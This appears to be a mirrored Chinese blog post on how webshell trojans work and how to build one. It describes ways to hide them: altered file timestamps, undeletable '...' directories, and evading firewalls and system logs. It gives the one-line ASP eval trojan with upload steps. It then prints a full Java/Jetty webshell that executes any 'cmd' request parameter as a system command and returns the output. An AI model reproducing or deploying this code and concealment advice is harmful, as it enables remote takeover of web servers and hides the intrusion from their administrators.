zoukankan      html  css  js  c++  java
  • atitit.木马病毒webshell的原理and设计 java c# .net php.

    atitit.木马病毒webshell的原理and设计 java c# .net php.

     

     

     

    1. 隐蔽性

    编辑

    WebShell后门具有隐蔽性,一般有隐藏在正常文件中并修改文件时间达到隐蔽的,还有利用服务器漏洞进行隐藏,如 "..." 目录就可以达到,站长从FTP中找到的是含有“..”的文件夹,而且没有权限删除,还有一些隐藏的WEBSHELL,可以隐藏于正常文件带参数运行脚本后门。

    webshell可以穿越服务器防火墙,由于与被控制的服务器或远程过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

     

    作者:: 绰号:老哇的爪子 ( 全名::Attilax Akbar Al Rapanui 阿提拉克斯 阿克巴 阿尔 拉帕努伊 ) 汉字名:艾龙,  EMAIL:1466519819@qq.com

    转载请注明来源: http://www.cnblogs.com/attilax/

     

    2. webshell的分类

    webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。

    根据功能也分为大马与小马,小马通常指的一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。这里eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。服务器配置(即本机配置

     

    3. Code---

    package com.attilax.webshell;

     

    import javax.servlet.http.HttpServletRequest;

    import javax.servlet.http.HttpServletResponse;

    import javax.servlet.ServletException;

     

    import java.io.IOException;

     

    import org.eclipse.jetty.server.Server;

    import org.eclipse.jetty.server.Request;

    import org.eclipse.jetty.server.handler.AbstractHandler;

     

    import com.attilax.cmd.CmdX;

    import com.attilax.io.filex;

    import com.lowagie.text.html.HtmlEncoder;

     

    public class Webshell extends AbstractHandler

    {

        public void handle(String target,

                           Request baseRequest,

                           HttpServletRequest request,

                           HttpServletResponse response) 

            throws IOException, ServletException

        {

        String cmd=request.getParameter("cmd");

        System.out.println("==cmd:"+cmd);

        String r=new CmdX().exe(cmd);

            response.setContentType("text/html;charset=utf-8");

            response.setStatus(HttpServletResponse.SC_OK);

            baseRequest.setHandled(true);

            response.getWriter().println("--rzt:<p>"+ HtmlEncoder.encode( r));

        }

     

        public static void main(String[] args) throws Exception

        {

        //org.slf4j.helpers.MessageFormatter

        start_websell();

            System.out.println("--f");

        }

     

        public static void start_websell() {

    Server server = new Server(8080);

            server.setHandler(new Webshell());

      

            try {

    server.start();

    } catch (Exception e) {

    // TODO Auto-generated catch block

    e.printStackTrace();

    }

            System.out.println("--staered");

            try {

    server.join();

    } catch (InterruptedException e) {

    // TODO Auto-generated catch block

    e.printStackTrace();

    }

    }

    }

    4. Ref

    atitit.跨架构 bs cs解决方案自定义web服务器的实现方案 java .net jetty  HttpListener

     

    获取webshell的十种方法 - 51CTO.COM.htm

    Webshell实现与隐藏探究_91Ri.org.htm

    Webshell实现与隐藏探究_91Ri.org.htm

  • 相关阅读:
    ios 数据类型转换 UIImage转换为NSData NSData转换为NSString
    iOS UI 12 block传值
    iOS UI 11 单例
    iOS UI 08 uitableview 自定义cell
    iOS UI 07 uitableviewi3
    iOS UI 07 uitableviewi2
    iOS UI 07 uitableview
    iOS UI 05 传值
    iOS UI 04 轨道和动画
    iOS UI 03 事件和手势
  • 原文地址:https://www.cnblogs.com/attilax/p/5274375.html
Copyright © 2011-2022 走看看